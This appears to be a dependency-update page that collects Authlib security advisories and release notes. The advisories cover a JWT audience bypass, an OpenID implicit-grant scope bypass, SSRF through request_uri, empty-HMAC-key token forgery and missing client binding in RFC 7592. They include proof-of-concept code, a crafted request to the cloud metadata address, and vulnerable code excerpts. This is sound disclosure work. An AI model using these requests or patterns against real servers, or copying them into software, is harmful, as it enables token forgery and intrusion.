          "and invalid_grant under strict audience control.")
    return 1

if __name__ == "__main__":
    raise SystemExit(main())
Observed Result
  • Default grant (vulnerable): HTTP 200, access_token issued despite aud: "https://evil.test/token"
  • Strict grant (fixed): HTTP 400, error: "invalid_grant" — correctly rejects mismatched audience
  • Confirms the default get_audiences() returns empty, so audience validation is effectively skipped
Impact
  • Vulnerability Type: CWE-287 — Improper Authentication
  • An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys
  • Particularly dangerous in microservice architectures where services share identity infrastructure
  • Enables unauthorized access escalation across trust boundaries
  • The vulnerability is in the default behavior — most integrations won't override get_audiences()

Credit

Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens

CVE-2026-114619 / GHSA-q686-2qmg-hqc7 / PYSEC-2026-4359

More information

Details

Report metadata
Field Value
Package authlib (PyPI, pkg:pypi/authlib)
Repository https://github.com/authlib/authlib
Component authlib.oidc.core.grants.implicit.OpenIDImplicitGrant.validate_authorization_request
Vulnerability class Authorization bypass: a client's scope restriction is bypassed for OpenID Connect ID token issuance
Verified against c529a61af40e3efe05286140e00fbdced07d7987 (v1.8.0). Earlier releases were not checked.
API surface Public API (OpenIDImplicitGrant, registered with server.register_grant(...))
Affected in default configuration Yes. No non-default option is needed once OpenIDImplicitGrant is registered. Client metadata decides exposure: Authlib's standard ClientMixin checks response type and scope independently, so a client can be permitted id_token responses without being allowed the openid scope.
Summary

OpenIDImplicitGrant.validate_authorization_request() first runs the parent ImplicitGrant validation, which filters the requested scope through client.get_allowed_scope() and stores the result in request.scope. It then decides whether this is an OpenID request by checking the raw, client-supplied request.payload.scope instead of that filtered value. A client that is allowed profile but not openid can therefore request scope=openid profile, pass the check, and receive a signed ID token (with sub and profile claims) once the user consents. This happens even when Authlib's built-in, scope-filtering BearerTokenGenerator is in use.

The tainted input is the authorization request's scope parameter. The OAuth client fully controls it, and the client is the very party the scope restriction is meant to constrain. Any registered client can add openid to its request if it is permitted an id_token or id_token token response type and its allowed scopes exclude openid but include a claim-bearing scope such as profile.

Sibling paths treat the same client correctly, which suggests the raw-scope check is a bug rather than intended behaviour:

  • ImplicitGrant.validate_authorization_request() -> filters the requested scope through client.get_allowed_scope() into request.scope (safe, authlib/oauth2/rfc6749/grants/implicit.py lines 141-147)
  • OpenIDImplicitGrant.validate_authorization_request() -> checks the raw request.payload.scope (unsafe, authlib/oidc/core/grants/implicit.py line 72)
  • UserInfoEndpoint -> rejects the same client's access token with 403 insufficient_scope (safe; observed during verification, line not recorded)
  • OIDC authorization code flow -> issues no id_token for the same client (safe; observed during verification, line not recorded)
Impact

A registered OAuth client that the operator has excluded from the openid scope can get an OpenID Connect ID token for any user who logs in and approves its authorization request. During verification the provider returned an RS256-signed ID token carrying iss, aud (the requesting client), nonce, auth_time, at_hash, sub and name, while the granted scope was only profile. A consent page built the way the Authlib docs show lists only profile, so the user is not shown that an identity token will be issued.

Without this bug, the same request fails with InvalidScopeError ("Missing 'openid' scope") because the client's resolved scope does not include openid. The new capability is the ID token itself: a signed assertion of the user's identity (sub) plus claims from the client's other allowed scopes. Gating that token is exactly what the openid scope is for. The access token stays restricted when the built-in token generator is used: Authlib's UserInfoEndpoint rejects it with 403 insufficient_scope.

Scoring note: we did not compute a CVSS score. An initial triage rated this High. After dynamic verification we assess practical severity as closer to Medium, because:

  1. The attacker must be a registered client that is permitted id_token response types.
  2. The user must log in and consent.
  3. The ID token's aud is the attacking client.

Two kinds of deployment are not affected:

  • Deployments that use only the OIDC authorization code flow. During verification, that flow issued no ID token for the same client.
  • Deployments where every client permitted an id_token or id_token token response type is also allowed the openid scope.
Preconditions
  1. The authorization server registers OpenIDImplicitGrant (or a subclass), e.g. server.register_grant(MyOpenIDImplicitGrant). The vulnerable method runs on every OIDC implicit authorization request.
  2. A client's metadata permits an OIDC implicit response type (id_token or id_token token). Nothing in Authlib ties this to the openid scope. The standard SQLAlchemy ClientMixin checks response type and scope independently, and it filters requested scopes against the client's allowed scopes at authlib/integrations/sqla_oauth2/client_mixin.py:124-129.
  3. That client's allowed scopes exclude openid but include another claim-bearing scope, such as profile.
  4. The attacker controls that registered client and sends an authorization request that adds openid to otherwise allowed scopes (e.g. scope=openid profile), with a nonce.
  5. A user logs in and approves the request.
  6. Branch condition: the raw request.payload.scope contains openid while the filtered request.scope does not. So is_openid_scope(self.request.payload.scope) is true at implicit.py:72 and no InvalidScopeError is raised.

No non-standard usage, monkey-patching or unusual configuration is needed: this is the public grant used as intended. Keeping a client's response types and allowed scopes in sync is not documented as the integrator's responsibility. The parent grant stores the filtered request.scope specifically so that authorization decisions use it. We did not capture a link to the relevant Authlib docs page, but the verification built its consent page the way those docs show.

Data flow
  1. Source: the OAuth client controls the authorization request's scope parameter, e.g. GET /authorize?response_type=id_token%20token&client_id=c&redirect_uri=https%3A%2F%2Fc%2Fcb&scope=openid%20profile&nonce=n. The raw value remains available as request.payload.scope.
  2. Propagation: ImplicitGrant.validate_authorization_request() filters the requested scope through client.get_allowed_scope() and stores the result in request.scope (here 'profile'). request.payload.scope still holds the raw openid profile (authlib/oauth2/rfc6749/grants/implicit.py:141-147).
  3. Sink: OpenIDImplicitGrant.validate_authorization_request() uses the raw value to decide whether this is an OpenID request: if not is_openid_scope(self.request.payload.scope): (authlib/oidc/core/grants/implicit.py:72). The injected openid satisfies the check, so the method returns the redirect URI instead of raising InvalidScopeError (authlib/oidc/core/grants/implicit.py:70-84).
  4. Reachability: OpenIDImplicitGrant is the public grant that serves OIDC implicit authorization requests. After the user consents, create_granted_params() and process_implicit_token() issue the ID token and user claims (authlib/oidc/core/grants/implicit.py:112-129, authlib/oidc/core/grants/implicit.py:132-169).
Vulnerable code

authlib/oidc/core/grants/implicit.py, lines 70-84 at c529a61af40e3efe05286140e00fbdced07d7987 (an excerpt; ... marks code left out of the captured snippet):

redirect_uri = super().validate_authorization_request()  # safe: parent grant sets the filtered request.scope
if not is_openid_scope(self.request.payload.scope):  # <-- sink (line 72): raw, client-supplied scope
    raise InvalidScopeError("Missing 'openid' scope", ...)
...
return redirect_uri
Reproduction

Verified two ways on Authlib c529a61af40e3efe05286140e00fbdced07d7987 (v1.8.0):

  • a pytest PoC using the Flask test client
  • a standalone Flask OpenID Provider on localhost, driven with curl

The Python and Flask versions were not recorded.

Setup: a client registered with scope='profile' only (no openid) and response types id_token / id_token token. It uses Authlib's built-in SQLAlchemy ClientMixin and the built-in scope-filtering BearerTokenGenerator.

  1. The client sends an authorization request with scope=openid profile and a nonce.
  2. ImplicitGrant sets request.scope='profile'. A consent page built the way the docs show displays only profile.
  3. OpenIDImplicitGrant.validate_authorization_request() checks the raw request.payload.scope at line 72, so the request passes.
  4. After the user approves, the provider returns an RS256-signed ID token with iss, aud (the client), nonce, auth_time, at_hash, sub and name, while the granted scope is profile. The ID token's signature verified against the provider's JWKS.

Controls run during verification:

  • The same request without openid returns invalid_scope ("Missing 'openid' scope").
  • Authlib's UserInfoEndpoint rejects this client's access token with 403 insufficient_scope.
  • The OIDC authorization code flow for the same client issues no id_token.

The sketch below shows the request shape against Authlib's Flask OIDC test app. The verification's own test script is not included here.


##### Client metadata: scope='profile' (no openid), response_types=['id_token token'].
rv = client.get('/authorize?response_type=id_token%20token&client_id=client-id&redirect_uri=https%3A%2F%2Fclient.test%2Fauthorized&scope=openid%20profile&nonce=n')

##### after the user grants consent:
assert 'id_token=' in rv.headers['Location']  # should have been rejected: openid is not an allowed scope
  • Expected: InvalidScopeError / invalid_scope ("Missing 'openid' scope"), because the client's resolved allowed scope (request.scope == 'profile') does not include openid.
  • Actual: after consent, the redirect carries a signed ID token (including sub and name) while the granted scope is profile.
Suggested remediation

Decide whether to issue OpenID tokens from the scope the grant actually authorized, never from the raw requested scope. The authorized scope is self.request.scope, which the parent grant has already filtered through client.get_allowed_scope().

 redirect_uri = super().validate_authorization_request()
-if not is_openid_scope(self.request.payload.scope):
+if not is_openid_scope(self.request.scope):
     raise InvalidScopeError("Missing 'openid' scope", ...)

During verification, this one-line change at line 72 blocked the exploit, and the existing OIDC implicit/hybrid tests still passed (23 passed).

The same rule should hold for the rest of OIDC issuance. create_granted_params() (authlib/oidc/core/grants/implicit.py:112-129) passes the raw payload.scope to generate_token. It should pass self.request.scope instead.

Notes:

  • Adjacent raw-scope use, worth fixing in the same change: create_granted_params() hands the raw payload.scope to generate_token. So a deployment whose custom token generator does not filter scope also grants the client access-token scopes it is not allowed; verification noted openid and email. Authlib's built-in BearerTokenGenerator re-filters the access-token scope, so this only shows up with a non-filtering generator. That re-filtering does not stop the ID token.
  • Other paths through the same raw value: beyond create_granted_params(), we did not audit every scope read in process_implicit_token() (authlib/oidc/core/grants/implicit.py:132-169), or in other OIDC grants such as the hybrid grant. Whether they share the pattern is not verified.
  • Already safe, no change needed:
    • the scope filtering in the parent ImplicitGrant and in ClientMixin
    • UserInfoEndpoint, which rejects this client's access token with 403 insufficient_scope
    • the OIDC authorization code flow, which issues no ID token for this client

Suggested regression test, alongside the existing Flask OIDC implicit-grant tests:

  1. Register a client with scope='profile' and response_types=['id_token token'].
  2. Send an authorization request with scope=openid profile and a nonce, and approve it.
  3. Assert that the response is an invalid_scope error ("Missing 'openid' scope") and that the redirect contains no id_token.

A second case should use a token generator that does not filter scope, and assert that the issued access token carries only the client's allowed scopes.

Severity

  • CVSS Score: 4.6 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF

CVE-2026-114620 / GHSA-x4rv-c3wx-4cr8 / PYSEC-2026-4360

More information

Details

Summary

Authlib's RFC 9101 (JAR) extension passes the attacker-controlled request_uri authorization parameter straight to the get_request_object() fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (request_uris client metadata and require_request_uri_registration server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted requests.get(request_uri). Deployments following the documented pattern get an unauthenticated SSRF primitive.

Details

Verified against authlib 1.7.2 and current main. All line numbers below are from authlib/oauth2/rfc9101/authorization_server.py.

The extension registers itself on the before_get_authorization_grant hook (lines 62-65), so it runs on every authorization request before any user or client authentication. support_request_uri defaults to True (line 58).

The only gate before the sink is that client_id names an existing client (lines 91-103). A client_id is a public, non-secret identifier.

The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:

def _get_raw_request_object(self, request: OAuth2Request) -> str:
    if "request_uri" in request.payload.data:
        raw_request_object = self.get_request_object(
            request.payload.data["request_uri"]
        )
        if not raw_request_object:
            raise InvalidRequestUriError(state=request.payload.state)

get_request_object is abstract (line 213, raise NotImplementedError() at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):

def get_request_object(self, request_uri: str):
    try:
        return requests.get(request_uri).text
    except requests.Exception:
        return None

Two points sharpen this beyond a generic documentation issue:

  • The allowlist already exists and is ignored. Authlib validates request_uris as client metadata (authlib/oauth2/rfc7591/claims.py:319) and require_request_uri_registration as server metadata (authlib/oauth2/rfc8414/models.py:263). The rfc9101 package contains zero references to either name, so the pre-registration model is never enforced at the point of use.
  • RFC 9101 §10.4.1 asks for controls that are absent. It states the server should "a) check that the value of the request_uri parameter does not point to an unexpected location, b) check that the media type of the response is application/oauth-authz-req+jwt, c) implement a timeout for obtaining the content of request_uri, and d) not perform recursive GET on the request_uri." The extension implements none of these and the documented example implements none of them either.

The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises InvalidRequestUriError (invalid_request_uri, lines 162-163), while a successful fetch of non-JWT content raises InvalidRequestObjectError (invalid_request_object, line 186).

PoC

This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.

python -m venv .venv && .venv/bin/pip install authlib
from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request
from authlib.oauth2.rfc9101 import JWTAuthenticationRequest

reached = []

class Extension(JWTAuthenticationRequest):
    def get_request_object(self, request_uri):
        reached.append(request_uri)  # the docstring puts requests.get(request_uri) here
        return None

    def resolve_client_public_key(self, client):
        return {"keys": []}

    def get_server_metadata(self):
        return {}

    def get_client_require_signed_request_object(self, client):
        return False

class AuthorizationServer:
    def query_client(self, client_id):
        return object()

uri = "http://169.254.169.254/latest/meta-data/"
request = OAuth2Request("GET", "https://as.example/authorize")
request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri})

try:
    Extension().parse_authorization_request(AuthorizationServer(), request)
except Exception as exc:
    print("error:", type(exc).__name__)

print("fetch hook received:", reached)

Output on authlib 1.7.2:

error: InvalidRequestUriError
fetch hook received: ['http://169.254.169.254/latest/meta-data/']

Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:

GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F

Returning a fetched-but-non-JWT body instead of None in the snippet above yields InvalidRequestObjectError rather than InvalidRequestUriError, showing the oracle that distinguishes a reachable target from an unreachable one.

Impact

Server-side request forgery, reachable without authentication by anyone who knows a valid client_id. In a deployment that implemented get_request_object as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as 169.254.169.254, and side-effectful internal GET routes. The invalid_request_uri versus invalid_request_object split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.

Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships support_request_uri=True, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-114615 / GHSA-7vr2-2fgp-9w7p / PYSEC-2026-4355

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-114617 / GHSA-c5mf-xmp2-59rc / PYSEC-2026-4357

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, OpenIDMixin.parse_id_token() reads the nonce_supported decision from the untrusted ID token being validated and sets the expected nonce to null when that claim is the JSON boolean false. In implicit and hybrid relying parties, or applications that directly accept externally supplied ID tokens, an attacker with a captured validly signed token can bypass the nonce-to-session binding and replay the victim's token into an attacker-controlled session. Plain authorization code flow is not affected, and the token must still pass signature, issuer, and audience validation. OpenIDMixin.parse_id_token() trusts nonce_supported in both authlib/integrations/base_client/sync_openid.py and authlib/integrations/base_client/async_openid.py to disable the expected nonce. This issue is fixed in version 1.9.0.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-114618 / GHSA-fch4-3c6x-j4gc / PYSEC-2026-4358

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-114619 / GHSA-q686-2qmg-hqc7 / PYSEC-2026-4359

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, OpenIDImplicitGrant.validate_authorization_request() checks the client-controlled raw request.payload.scope for openid after the parent grant has filtered allowed scopes into request.scope. A registered client permitted an ID token response type but not the openid scope can add openid to the request, obtain user consent, and receive a signed ID token containing the user's subject and allowed profile claims. Authorization code flow and deployments that allow openid for every client permitted an ID token response are not affected. In authlib/oidc/core/grants/implicit.py, OpenIDImplicitGrant.validate_authorization_request() checks request.payload.scope instead of the filtered request.scope. This issue is fixed in version 1.9.0.

Severity

  • CVSS Score: 4.6 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-114620 / GHSA-x4rv-c3wx-4cr8 / PYSEC-2026-4360

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, Authlib's RFC 9101 JWTAuthenticationRequest passes the unauthenticated, client-controlled request_uri parameter to the abstract get_request_object() hook before applying a destination or registration policy; the hook itself performs no network request, while the documentation demonstrates an unrestricted HTTP fetch. In deployments whose integrator implements that hook as an unrestricted outbound fetch, a remote attacker who knows a valid public client identifier can make the authorization server request internal, link-local, or otherwise unintended URLs and can distinguish fetch outcomes through different error responses and timing. Deployments whose custom hook already applies a secure allowlist, destination controls, and retrieval limits are not affected. The JWTAuthenticationRequest implementation in authlib/oauth2/rfc9101/authorization_server.py forwards request_uri to get_request_object() before an application-approved retrieval policy accepts the destination. This issue is fixed in version 1.9.0.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Authlib accepts an empty HMAC key, allowing JWS/JWT signature forgery (HS256/HS384/HS512)

CVE-2026-114616 / GHSA-8m4g-j4wp-wgcg / PYSEC-2026-4356

More information

Details

Reporter: Cavan Loughran, Celvex Group Inc.

Summary

Authlib's symmetric (oct) key handling accepts an empty key (empty bytes b'' / empty string '') as a valid HMAC signing and verification key. An empty HMAC key produces a deterministic digest that any party can reproduce, so an attacker who knows (or can cause) the application to verify a token with an empty key can forge arbitrary tokens that pass HS256/HS384/HS512 signature verification. This is the Authlib member of the cross-language empty-HMAC-key family already assigned CVE-2026-44351 (fast-jwt, npm) and CVE-2026-45363 (ruby-jwt, RubyGems).

This is DISTINCT from Authlib's existing recent JWT-verification advisories. It is not closed by CVE-2026-27962 / GHSA-wvwj-cvrp-7pv5 (JWS JWK header injection, the key=None case), nor by CVE-2026-28802 / GHSA-7wc2-qxgw-g8gg (alg:none blank-signature bypass), nor by GHSA-5357-c2jx-v7qh (algorithm confusion with asymmetric public keys). Those address header-driven key injection, the none algorithm, and asymmetric-vs-symmetric confusion respectively; none of them rejects a zero-length oct key.

Affected versions

Authlib <= 1.7.2 (latest release 1.7.2, 2026-05-06). Confirmed present at the v1.7.2 release tag and on the current main HEAD. The affected code is in authlib/jose/rfc7518/oct_key.py and authlib/jose/rfc7518/jws_algs.py.

Root cause (exact code location, release tag v1.7.2)

  • authlib/jose/rfc7518/oct_key.py, class OctKey:
    • validate_raw_key is a type-only check: return isinstance(key, bytes). An empty bytes object passes.
    • import_key rejects only keys whose material starts with known unsafe prefixes (if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError(...), i.e. PEM/SSH prefixes). Empty bytes do not match any unsafe prefix, so b'' is accepted.
    • get_op_key loads the raw key without validating its length.
    • No check anywhere rejects a zero-length key, so an empty key b'' passes every gate.
  • authlib/jose/rfc7518/jws_algs.py, class HMACAlgorithm:
    • prepare_key: return OctKey.import_key(raw_data).
    • sign / verify call key.get_op_key(...) then hmac.new(op_key, msg, self.hash_alg) / hmac.compare_digest(...). With an empty op key this becomes hmac.new(b'', ...): a deterministic, publicly reproducible digest. There is no empty-key or minimum-length check.

Why this is a real signature bypass

An empty HMAC key makes the signature a public, deterministic function of the header and payload, so anyone can compute a valid signature and forge tokens. The realistic trigger matches the sibling CVEs: the deploying application sources the verification key from a place that can be empty at runtime, for example os.environ.get('JWT_SECRET', ''), a database/config column whose default is '', or a key-resolver that returns '' on a miss. Authlib is widely used to BUILD token verifiers (OAuth 2.0 resource servers, OIDC relying parties), and Authlib's own recent advisory history shows the JWS/JWT verify path is the live attack surface, so a key-resolution path that can yield '' is a realistic exposure.

Reproduction (prose, no weaponized exploit)

  1. In an application that uses Authlib to verify JWS/JWT, arrange for the verification key to be an empty value (e.g. an unset environment variable defaulted to '').
  2. An attacker constructs a token with header {alg: HS256} and an arbitrary payload, and computes the HS256 signature using an empty key (a value any party can reproduce because the key is empty).
  3. Authlib's HMAC verification accepts the token as validly signed, because OctKey.import_key did not reject the empty key and hmac.compare_digest matches the attacker-computable digest. The forged token is treated as authentic.

No live system was probed; the above describes the class. The vulnerable code path and the absent guard are confirmed by direct reading of the public source at the v1.7.2 tag and on current main.

Proof the fix is known-good (no novelty risk)

The same maintainer's newer JOSE library, joserfc, ALREADY rejects empty oct key material outright. In src/joserfc/_rfc7518/oct_key.py, import_key raises a ValueError on empty oct material, with an explicit note that an empty oct key produces a deterministic HMAC digest that any party can reproduce, allowing trivial signature forgery in JWS HS256/HS384/HS512 verification. (joserfc additionally warns on keys below 112 bits.) The same guard is simply absent from the older, far more widely deployed Authlib rfc7518 package. The flagship Python JOSE libraries also guard: PyJWT raises InvalidKeyError('HMAC key must not be empty.') for zero-length keys, and jwcrypto enforces an RFC 7518 minimum key length.

Impact

Token forgery / authentication bypass in OAuth 2.0 resource servers and OIDC relying parties built on Authlib whenever the HMAC verification key can be empty at runtime. An attacker can mint tokens with arbitrary claims (for example elevated scopes or another user's subject) that pass signature verification.

Suggested remediation

Reject empty oct key material in OctKey.import_key (and/or validate_raw_key), exactly as the maintainer's joserfc library already does, before the key can reach hmac.new in HMACAlgorithm.sign / verify. Consider also adopting joserfc's sub-112-bit minimum-length warning/rejection for HMAC keys.

Disclosure

Reporter: Cavan Loughran, Celvex Group Inc.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib RFC 7592 examples omit registration-access-token client binding

CVE-2026-116672 / GHSA-c73q-w75p-j82v

More information

Details

Description
Summary

RFC 7592 (OAuth 2.0 Dynamic Client Registration Management Protocol) lets a previously registered client read, update, or delete its own registration, authenticated by a registration_access_token issued specifically to that client at registration time. The entire security model of this protocol depends on the server verifying that the token presented in the request actually belongs to the client identified in the request, not merely that the token is valid for some client.

Authlib's ClientConfigurationEndpoint implements the control flow correctly in structure, calling authenticate_token, then authenticate_client, then check_permission, and treats all three as abstract methods that "Developers MUST implement in subclass." The problem is that the documented example implementations for these methods, taken together exactly as written, never perform the one check that matters: binding the authenticated token to the specific client being accessed. A developer who implements these methods by following the provided examples ends up with a complete authorization bypass on this endpoint.

Details

authenticate_client's documented example (authlib/oauth2/rfc7592/endpoint.py):

def authenticate_client(self, request):
    """Read a client from the request payload.
    Developers MUST implement this method in subclass::

        def authenticate_client(self, request):
            client_id = request.payload.data.get("client_id")
            return Client.get(client_id=client_id)

    :return: client instance
    """
    raise NotImplementedError()

This looks the target client up purely by the client_id supplied in the request payload, with no reference to the token at all.

check_permission's documented example, in the same file:

def check_permission(self, client, request):
    """Checks whether the current client is allowed to be accessed, edited
    or deleted. Developers MUST implement it in subclass, e.g.::

        def check_permission(self, client, request):
            return client.editable

    :return: boolean
    """
    raise NotImplementedError()

This checks a property of the target client alone (whether it is generally "editable"), again with no reference to request.credential, the authenticated token object returned earlier by authenticate_token and stored on the request specifically so that later steps can check it:

def create_configuration_response(self, request):
    token = self.authenticate_token(request)
    if not token:
        raise AccessDeniedError()

    request.credential = token

    client = self.authenticate_client(request)
    ...
    if not self.check_permission(client, request):
        raise UnauthorizedClientError(...)

request.credential is set specifically so that a binding check can be performed downstream, but neither documented example ever reads it. Following both examples as written produces an implementation where the only requirements to access, modify, or delete a client's registration are: possessing any valid registration_access_token for any client, and knowing or guessing the target client_id.

This is meaningfully different from how the equivalent example is written for the token introspection endpoint (RFC 7662) elsewhere in the same codebase, which does correctly demonstrate checking the authenticated caller's own identity (authlib/oauth2/rfc7662/introspection.py):

def check_permission(self, token, client, request):
    """Check if the request has permission to introspect the token. Developers
    MUST implement this method::

        def check_permission(self, token, client, request):
            # only allow a special client to introspect the token
            return client.client_id == "introspection_client"
    """

In that endpoint, client represents the already-authenticated caller (verified through normal client credential authentication earlier in the flow), so checking a property of client is meaningful authorization logic. In the RFC 7592 endpoint, client instead represents the target being acted upon, not the caller, so the same style of example is actively misleading: it looks like a reasonable authorization check but performs none of the binding the protocol requires.

No file anywhere in the repository, including the Flask, Django, and SQLAlchemy integration modules, provides a complete, corrected reference implementation of ClientConfigurationEndpoint. The misleading docstring examples are the only guidance shipped for this endpoint.

Realistic exploitability

RFC 7591 dynamic client registration is commonly deployed without requiring an initial access token, since the specification explicitly anticipates open, self-service registration as a normal deployment model. Under that common configuration, an attacker can freely self-register their own throwaway client with no authentication at all, receive a valid registration_access_token scoped to that throwaway client, and then present that same token against /register/{target_client_id} for any other client, since neither documented example checks that the token corresponds to the target. If the target client's editable property (or whatever equivalent the developer implements based on the documented example) is true, an attacker can read the victim client's full registration including its metadata, update it (for example, changing redirect_uris to an attacker-controlled endpoint, enabling authorization code or token interception against that client's users), or delete it outright.

Reproduction
  1. Deploy an authorization server using ClientConfigurationEndpoint with authenticate_client and check_permission implemented exactly as documented in the class's own docstrings.
  2. As an attacker, register a new client via the RFC 7591 registration endpoint (commonly open/anonymous), obtaining client_id_A and registration_access_token_A.
  3. Identify or guess client_id_B, belonging to a different, unrelated client.
  4. Send GET /register/client_id_B (or PUT/DELETE) with Authorization: Bearer registration_access_token_A, and client_id set to client_id_B in the request body for the PUT case.
  5. authenticate_token succeeds because registration_access_token_A is a valid token. authenticate_client succeeds because it looks up client_id_B directly from the payload, ignoring which token was presented. check_permission succeeds because it only checks client_B.editable, not whether registration_access_token_A has any relationship to client_B. The request proceeds and returns, modifies, or deletes client B's registration.
Impact

Full read, modify, and delete access to any other client's registration record, for any party able to obtain a valid registration_access_token for any client of their own. In an open dynamic registration deployment this reduces to no meaningful barrier at all, since attackers can self-issue their own qualifying token for free. Impact includes disclosure of client metadata, redirect URI hijacking enabling authorization code or token interception, and denial of service via deletion of arbitrary client registrations.

Suggested fix

Update the documented example for check_permission (or authenticate_client) to explicitly demonstrate binding the authenticated token to the target client, for example:

def check_permission(self, client, request):
    return request.credential.client_id == client.get_client_id()

and add an explicit warning in both docstrings that omitting this comparison results in a complete authorization bypass on this endpoint. Consider also shipping a complete, correct reference implementation of ClientConfigurationEndpoint in the Flask/Django/SQLAlchemy integration modules, since none currently exists.


Affected products

Ecosystem: pip
Package name: Authlib
Affected versions: 1.7.2
Patched versions: 1.9.1

Severity

Privileges Required is Low, reflecting that the attacker needs some registration_access_token of their own, which under the common open dynamic registration deployment model is trivially self-issued. This is a documentation/reference-implementation issue rather than a bug the library enforces unconditionally on every deployment, since authenticate_client and check_permission are abstract methods a developer must implement; the finding is that the only guidance provided for implementing them correctly is, itself, exploitable if followed as written.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-114616 / GHSA-8m4g-j4wp-wgcg / PYSEC-2026-4356

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

authlib/authlib (Authlib)

v1.9.1

Compare Source

